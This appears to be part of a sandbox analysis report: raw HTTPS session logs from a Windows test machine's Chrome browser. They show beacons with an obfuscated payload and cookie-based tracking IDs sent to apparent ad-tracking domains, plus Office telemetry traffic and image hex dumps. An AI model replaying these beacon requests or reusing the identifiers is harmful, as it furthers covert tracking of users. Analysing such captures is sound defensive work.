2024-10-14 22:39:52 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49804	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	1163	OUT	POST /async_log/add?cid=1db9169f-90f4-4b2d-b517-bc47aab19c1f&ruid=010be0c3-d8ef-4b81-8363-d3a6d5db9249 HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive Content-Length: 459 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Origin: https://oughoaghushouru.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oughoaghushouru.net/4/8079706?dovr=true&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player
2024-10-14 22:39:52 UTC	459	OUT	Data Raw: 4c 1b 5b 5f 1e 00 1c 06 2a 0b 5e 1b 18 54 04 48 54 5b 5e 16 0c 0c 43 1b 09 4d 58 0d 0a 37 17 03 4c 4b 43 08 4d 48 0d 03 13 46 09 04 59 5e 11 0c 4b 48 5b 0b 1d 03 4a 0e 10 57 06 35 1a 02 1f 51 4c 57 07 15 11 52 13 17 1a 00 14 10 5f 00 17 5e 3e 1e 07 06 17 16 54 03 42 55 5f 1a 58 08 1c 1e 10 0e 1a 53 48 44 4d 48 0d 07 1b 51 00 19 68 50 57 14 40 46 48 0c 17 5b 09 5f 40 5f 4c 53 5e 0d 46 19 5a 0f 05 5d 1e 54 4f 55 4e 45 17 01 0c 5e 18 58 03 5b 57 08 43 52 4c 41 15 58 55 50 13 08 10 09 01 07 67 00 1d 1b 5b 48 4c 47 50 40 1c 0c 51 5f 5a 55 25 17 16 1d 07 01 5d 36 10 5d 43 50 4c 53 42 03 57 5a 07 0f 11 1a 58 05 1d 1e 10 10 4c 00 0a 5c 13 35 07 0f 50 0e 4c 4f 1b 1b 50 57 17 14 18 01 12 0c 67 00 1d 1b 5b 48 4c 47 50 57 1b 1e 43 56 5e 69 13 00 26 59 57 58 1a 00 1a Data Ascii: L[_*^THT[^CMX7LKCMHFY^KH[JW5QLWR_^>TBU_XSHDMHQhPW@FH[_@_LS^FZ]TOUNE^X[WCRLAXUPg[HLGP@Q_ZU%]6]CPLSBWZXL\5PLOPWg[HLGPWCV^i&YWX
2024-10-14 22:39:52 UTC	511	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://oughoaghushouru.net Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, X-Forwarded-For, If-None-Match Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49805	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	1526	OUT	GET /sftouch?userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf&dovr=true&branchId=0&rb=gvLURGPR381dNCfm4z7DWmYChfRrNhidpJlpK6Hu3FaYvLFUudsW7GlQ47cDaUUZC2xZ6a8UDxSV7yk4exemc7RTefog3vu58lg38UHdk40Gbk5LPmTVJUDoFRWwMMyCRs2kS8Z_0Bz-O-EL9By5pRVCmMYn3I6lF2fPD0Q5uBsfEAuGP0kbp9MWugTaqI88Vfiok-SHDNqC3ESXX3cndXxoLTbbqbiX0B7k3KMu_CNf4D4J1-fd--_UGmqV279IGSxmPqv7wkiIL0kbeWVYAbp1R6hJXCmQLy7KSdzI-e8Kvq990alo-diDMLH7eG6kb5S0HQEgdY_Rzhmz-jYWgf3Mf2xkGqnR&w_img=1 HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oughoaghushouru.net/4/8079706?dovr=true&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player
2024-10-14 22:39:52 UTC	878	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: image/gif Content-Length: 43 Connection: close X-Trace-Id: 2f75efc3a6f20c80b7567ff4d5b4fe36 Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:52 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49801	139.45.195.8	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	638	OUT	GET /gid.js?userId=0080f523ce504ac9e2ef03a350bc2951 HTTP/1.1 Host: my.rtmark.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.mycimalive.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ID=0080f52b8e41436deb287525cd342cae
2024-10-14 22:39:52 UTC	706	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: application/json; charset=utf-8 Content-Length: 65 Connection: close Access-Control-Allow-Origin: https://www.mycimalive.com Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization,X-CSRF-Token Access-Control-Expose-Headers: Authorization Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Set-Cookie: ID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:52 GMT; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:52 UTC	65	IN	Data Raw: 7b 22 67 69 64 22 3a 22 30 30 38 30 66 35 32 62 38 65 34 31 34 33 36 64 65 62 32 38 37 35 32 35 63 64 33 34 32 63 61 65 22 2c 22 73 6b 69 70 53 75 62 73 63 72 69 62 65 22 3a 66 61 6c 73 65 7d 0a Data Ascii: {"gid":"0080f52b8e41436deb287525cd342cae","skipSubscribe":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: efaf982b-c01e-008e-2e47-1c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223952Z-17db6f7c8cfmhggkx889x958tc0000000480000000006yxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:52 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49813	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	637	OUT	GET /img/a/AVvXsEgtpFcYsGsl5Crlj3BRaub4sS1wPYMeblwQkUk7ttnWFe1io1ox7ee6G2PDsa6n3mEUwEO1b6y7GCO2ALzAX45LZp5zX7E2chU_u2-OhgVrg-B95XGbbjq6KANBiayi5lXzNCGak4TUoYJgPFVk03Wv28KtbJTvuDka23dlPoIYCo1eNO0K3vjB7_muKJA=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:52 UTC	474	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd48" Expires: Tue, 15 Oct 2024 22:39:52 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="maxresdefault.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:52 GMT Server: fife Content-Length: 11247 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:52 UTC	904	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 a9 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220,C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: a5 13 b4 59 3d 0a a8 6a 1b 14 9a 02 41 b8 e5 eb 42 59 53 17 98 96 b9 fe 87 9b 64 b5 c8 16 8f a9 51 96 80 a0 b4 13 e7 e7 57 a3 a0 99 81 04 f7 02 de 65 97 59 0a ab ca 66 47 15 ad b6 cb 6e b2 e9 f3 66 ef bc c3 6e 6b 16 5d 55 f5 70 30 da c9 39 fb 6c 21 1c c9 2a 04 b8 6d 14 d3 1d 52 29 2d 82 4c 76 30 ec ec a9 db 8a 2b 59 50 93 c5 b7 3b 7b 94 13 b9 46 8f 59 85 14 d1 ad 29 63 e6 89 50 b8 d5 42 8e 80 56 36 95 f6 9a e5 af d1 e5 b5 3c 1e 81 be 6f e9 58 8d f9 7c e5 39 ba 4f 22 a3 17 b9 1a 7b 51 1a 47 b3 93 73 65 74 d0 d2 49 1a 6a ac 41 ac 7c d7 08 8e 68 f9 c8 e0 74 c3 48 23 e6 ac 78 cc 70 c0 2a d3 89 46 cc f5 b0 05 bd 59 da dd d4 5b dc ea af 28 ca e2 ed d1 66 ef 69 ba 39 bc 6c 90 d4 a3 1c 13 f4 c8 ae 1d fa 62 f7 c4 eb 82 7a 07 4d d8 42 1b 63 49 5a 3b 44 5b 45 40 23 Data Ascii: Y=jABYSdQWeYfGnfnk]Up09l!mR)-Lv0+YP;{FY)cPBV6<oX\|9O"{QGsetIjA\|htH#xpFY[(fi9lbzMBcIZ;D[E@#
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 03 4e f3 b4 f2 6a 1b 8c 67 dc 4d 6d 7c 72 af 11 86 ca e6 59 5f 2d 3b 27 fb c7 ad 43 58 df 3d 2f a9 ef 77 bb f1 e2 9a ef ca bf 1f 0d 79 2c 84 ce 3c 74 bf 1c ad 9e b6 94 ae 6f a2 54 ba 19 3e a2 ec 77 49 a2 26 e2 d8 55 55 4b c4 a9 52 9a 6c ea 16 e9 75 be 81 a6 e7 69 da 76 9d a7 69 da 06 8a e6 07 dc f9 22 d4 a5 94 d4 a2 d6 5f 29 b5 54 79 bd 5b 20 91 c7 d6 de 5a e8 20 df 8f 51 99 fc 72 5f 56 45 36 71 f9 95 de b3 6a b7 bd bf 38 71 05 da 26 d0 47 7f 5b 2c 42 6d f1 bc 61 a9 4d 9e 35 6b 4b 4e d1 5b 70 99 bf d0 d4 d4 15 98 46 a1 26 6c cd 99 ea 63 7a 4a 3e c8 ed 5b 06 f3 72 89 a7 c6 bb f6 ff 00 c9 2b 16 57 d9 b5 b3 09 9b 9b 9b 81 88 84 ef db b8 5a 7a 98 bb 13 b4 ef 0a 6a 6a 6a 6a 6a 6a 05 82 b2 7e 0e b1 71 9d 83 63 d8 b3 5a 1f 79 87 eb 91 81 f9 78 a3 c5 93 42 94 a9 Data Ascii: NjgMm\|rY_-;'CX=/wy,<toT>wI&UUKRluivi"_)Ty[ Z Qr_VE6qj8q&G[,BmaM5kKN[pF&lczJ>[r+WZzjjjjjj~qcZyxB
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 4f 65 3b 5a ca 91 3c a0 ae 95 3f 68 8a 2c 6b 2d b4 38 91 c1 16 ee 2e 96 ca a5 f7 82 0d 18 89 8d 3a 45 47 05 50 1c 83 e8 ac af a6 e9 2a ca 0a b2 13 f5 4a 79 26 fa 74 81 e2 55 71 e2 7f 6d 29 b1 bc a4 ae cd 9c f1 61 cb c5 56 55 3d fa 39 dc a3 f7 5d 26 97 f7 b6 37 e2 ba 57 e3 14 55 59 9b d3 68 5c c7 92 ba 63 9a ef 5b 09 b1 f5 14 42 3c dc 7f 95 53 c6 0a c7 a0 c6 83 4b e1 5b 0a cb 92 17 9e c1 4f 24 ac aa ed f6 9c ab 8f 13 fb 69 52 38 37 f8 52 f7 19 55 21 52 70 17 76 74 ad ee 5d 1c 0f f9 1e 2a 7c 82 e9 3f 8a 74 78 63 80 68 6b 49 4f 63 26 1c cd c7 de 9a 47 3b a6 1f 61 5d ab a3 b3 eb 3c 2a 6f 22 ce 6c 28 85 76 e9 61 d5 ca 1d 48 56 57 4d 75 4b 36 22 53 dc da b7 8c 69 56 8d 47 6c 71 2a a8 2e 90 e2 60 e9 5a 78 a6 79 2a 85 e1 c2 65 10 f3 de 4c 77 95 0e d9 c0 71 5b 8b Data Ascii: Oe;Z<?h,k-8.:EGPJy&tUqm)aVU=9]&7WUYh\c[B<SK[O$iR87RU!Rpvt]\|?txchkIOc&G;a]<o"l(vaHVWMuK6"SiVGlq.`Zxy*eLwq[
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 0d 21 50 a5 25 44 a4 b7 27 37 05 f9 44 36 9d 1a 82 aa e6 53 86 64 c6 b2 fc 43 53 5a 61 e9 33 23 89 94 cf 98 06 a5 2e 00 cf 88 28 35 ff 00 49 a0 ae f1 ab b6 26 19 24 d7 c1 19 7b 49 7f 5e 15 2b a5 67 1c 77 87 d3 2f 18 cc 67 8c f0 41 a1 15 e6 3b 86 48 ce 86 60 80 cc eb 95 87 e2 68 e4 3b c7 8b fc 84 7f d9 d3 a1 67 b2 7e e4 aa 1f b1 bb db cb 38 de 20 af 2c e0 6c e6 79 e0 be c8 90 9d 0f 77 fe 4c 64 b3 47 68 02 22 92 8c 6e 50 71 89 e1 0c b8 02 d8 86 01 5a 63 dd 9c 82 e3 dd c1 8a f5 85 c0 d7 ec c4 76 ba 15 f4 81 68 87 28 29 8e 18 64 c3 33 76 ea 62 b3 9b 83 b3 37 18 55 99 c7 dc c1 b6 c8 51 ad c5 fc 43 6c d2 11 21 9a 0f b4 d9 ff 00 62 60 db 15 35 ae 0d b9 ca d9 dd f8 42 68 9d 57 79 98 ac 4c 7f ae c9 c8 6d 45 cc cd be d0 00 1c bc fa 41 43 b7 79 b4 a5 b6 07 29 7f 9f Data Ascii: !P%D'7D6SdCSZa3#.(5I&${I^+gw/gA;H`h;g~8 ,lywLdGh"nPqZcvh()d3vb7UQCl!b`5BhWyLmEACy)
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 11 15 15 cc e2 7f 82 22 d4 a7 18 c6 82 09 81 7a 1a 80 01 7c a5 3b a7 83 99 c2 47 d2 68 1d d2 e5 59 bc 5d a0 bb 7a 53 a5 7d 04 20 bb 86 a3 3c 27 2d be 87 59 56 a8 1f 33 36 e5 85 b1 74 d6 ef dc 0d 1f 31 24 d6 07 8d fe 58 67 8f c8 cb f9 96 4e c7 e5 ff 00 c2 0c 97 92 fd 32 e8 be ca d7 ee 02 12 06 85 8c 88 ed 85 9d a5 ae 2d dd 0c da 3e cc bf 32 f1 15 de 27 04 a3 b8 b7 75 b9 48 fd 50 37 8b 95 58 66 7b ca 53 72 dd e5 9d 97 da 06 b5 03 cc b6 5a 4d 8b 65 6b 3f dc 20 0c e7 e0 e7 53 93 1f 62 5f b4 e4 29 4f 42 09 e1 5b ed ff 00 27 83 af fa e1 fc cf 79 5d 06 5b 8c 02 52 50 46 98 16 e2 76 32 dd a2 04 a5 89 3d f0 1d b9 8b 1e f2 fa 18 82 73 0d e2 54 6b 67 31 25 1d 98 80 5e 3e d3 3d 6f 81 8a 56 ad 91 ea bb 03 95 cb 66 ca 9b 5f 68 ab c5 ff 00 13 b3 1c 6f 56 06 39 16 9d fd Data Ascii: "z\|;GhY]zS} <'-YV36t1$XgN2->2'uHP7Xf{SrZMek? Sb_)OB['y][RPFv2=sTkg1%^>=oVf_hoV9
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 34 64 12 58 34 2d 44 1f 38 9f 3e 67 14 ec 5d 91 4a 6e b1 ee 15 12 66 9f 91 dc b6 08 cb b8 d1 1a 74 49 88 e0 da 69 08 d8 53 17 08 42 8f 51 2e 8c d8 20 e3 3a 05 b4 66 49 38 5e 91 1d 8d e9 8e 09 33 27 31 8f 71 9e c1 e5 43 9b 13 5f 95 f7 21 fb f2 23 6f 66 99 8d 5a 51 56 70 24 5a 1b 29 6c a2 31 a1 8b 08 78 1c 5a 36 7b 7c d9 8c c9 3c 09 9a f6 3e 1f cf e3 8b 8e 09 35 a6 35 a9 f0 bd 1b 11 1f ff c4 00 27 10 01 00 02 02 02 02 02 02 02 03 01 01 00 00 00 00 01 00 11 21 31 41 51 61 71 81 91 10 a1 b1 d1 c1 e1 f0 20 f1 ff da 00 08 01 01 00 01 3f 10 43 2b 1f fc 63 dc 99 cf 39 eb 0f cd 38 54 6b ec a0 e6 2d 14 1b 12 92 59 c4 c3 98 98 8b c4 5c 92 ff 00 16 42 70 ca 98 ce 1c c4 84 ad dc 6e ea 7a 44 f5 2b f8 d6 57 f2 02 e7 a7 e5 27 c6 78 01 42 d8 90 a8 06 db 7e 27 b8 dd d8 d4 Data Ascii: 4dX4-D8>g]JnftIiSBQ. :fI8^3'1qC_!#ofZQVp$Z)l1xZ6{\|<>55'!1AQaq ?C+c98Tk-Y\BpnzD+W'xB~'
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: ed 9e b3 d2 0b a8 b5 5e 58 0e 03 31 a3 fd c8 8c 86 c6 ad ae c8 0a f6 a2 fe 13 42 f0 95 da cf 37 01 c1 15 65 60 f6 d1 f1 2f 74 3a 02 d6 0b e7 30 6a 2b 4a cf 6a 36 af 6c cd 16 db d4 c3 06 50 ec 44 a4 d4 29 99 10 7d 0a 98 b9 54 9b b4 d9 fe a6 50 06 28 3f bc 1d 3c 9f 07 75 2d f8 bf 89 f1 8f 1f 10 32 22 d7 1d 67 8c a1 a5 b0 00 8e 09 4a 03 52 c0 73 02 50 3e 65 f5 88 55 d1 7d 43 74 06 a7 58 58 84 b3 0f a8 f6 f0 b3 b3 dc dd 39 1a 61 e1 f8 df a8 96 00 ab 59 e2 7c 84 21 7a 60 3e 04 81 02 9c d6 ae 17 d2 61 58 53 9c 19 75 08 ab 3e c0 ab 85 6d 87 ae 60 e0 ba 2a 18 ac 52 ca 46 3a 17 4f 89 6c 47 3a b8 86 d5 24 54 22 8c 59 c8 dc 3d 6e e5 b1 01 61 15 d2 78 61 83 86 da 35 9f 1f d4 00 12 35 69 b3 37 1c 0d ab 31 f0 8f 84 f4 9e 95 2d 68 f1 0d 84 53 4e 91 9d 13 72 a0 16 19 b8 Data Ascii: ^X1B7e`/t:0j+Jj6lPD)}TP(?<u-2"gJRsP>eU}CtXX9aY\|!z`>aXSu>m`*RF:OlG:$T"Y=naxa55i71-hSNr
2024-10-14 22:39:52 UTC	697	IN	Data Raw: 18 12 a2 ab c1 0f dc 04 54 ca be 20 84 64 ee ef 6f f5 00 67 ea c8 0f 11 28 db 12 be dc 37 73 63 f6 4a b0 49 3f fb 71 60 27 b6 52 f1 47 3a 57 dc 01 92 c1 a5 24 27 51 62 40 2b 3b b8 2a 01 f9 9a 67 0c 28 71 18 3b 7a 25 1a 59 67 9a 83 ee 5f b8 25 a8 0a 0a c5 b0 88 b4 e0 4c 30 4e 06 10 a2 5b 0b f8 4b 05 a2 c5 88 4a 6e 1a 45 c6 b6 f5 12 82 36 d1 03 bd 2c dc 74 3e cb f8 81 5e 55 5c 15 4f c0 8f c4 64 69 74 78 bf eb a4 5c 99 f8 70 80 c7 c3 32 9e 44 f7 4a 7f 98 02 81 47 5c 59 fd 8a 61 30 13 c6 66 7c c6 fb 65 4a e9 d4 d9 9c c0 2a ab 15 c4 64 a1 92 20 16 58 ac a8 25 99 44 55 9a 0e 25 da 16 e5 9c b8 94 e5 fb 4b 35 20 f3 29 a4 53 a9 6b 86 23 18 c7 2a 97 04 a7 51 0e 58 07 29 56 05 e8 3d b0 df 02 aa e5 0a f2 a0 4c 00 5a 0b 7e a5 00 7e c5 44 a4 18 29 25 62 6c e8 bf 9e 25 Data Ascii: T dog(7scJI?q`'RG:W$'Qb@+;g(q;z%Yg_%L0N[KJnE6,t>^U\Oditx\p2DJG\Ya0f\|eJd X%DU%K5 )Sk#*QX)V=LZ~~D)%bl%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49814	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	637	OUT	GET /img/a/AVvXsEhuOGhQW_mCF2mWt-zO3DaGNdUe7-J8EId0r1m8F1UZUWl2yrTGHML9FVXg9swozmwaB8T2d5eFipVFS9XYtnHK5CMeWad-Yx7U8obTrIjuQTNEFJM_IWAnJHlruZUd5_eZWqqKMJ6rGiV-DdAf2khkop-S16AzPy_Uo1FqaEGjip8BISiFVT0lJgptD_k=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:52 UTC	475	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd46" Expires: Tue, 15 Oct 2024 22:39:52 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="maxresdefault-1.png" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:52 GMT Server: fife Content-Length: 62548 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:52 UTC	903	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 a9 08 02 00 00 00 1e 15 97 fd 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 20 00 49 44 41 54 78 9c 74 bd eb 96 2b 37 8e 34 1a 01 90 a9 da 9e 99 f7 7f ce b3 d6 37 ed 2a 25 81 38 3f 00 32 55 ee 1e 75 db de bb 4a 4a 65 92 b8 04 02 17 12 30 1a d1 2f 12 14 24 09 00 69 a4 01 02 00 33 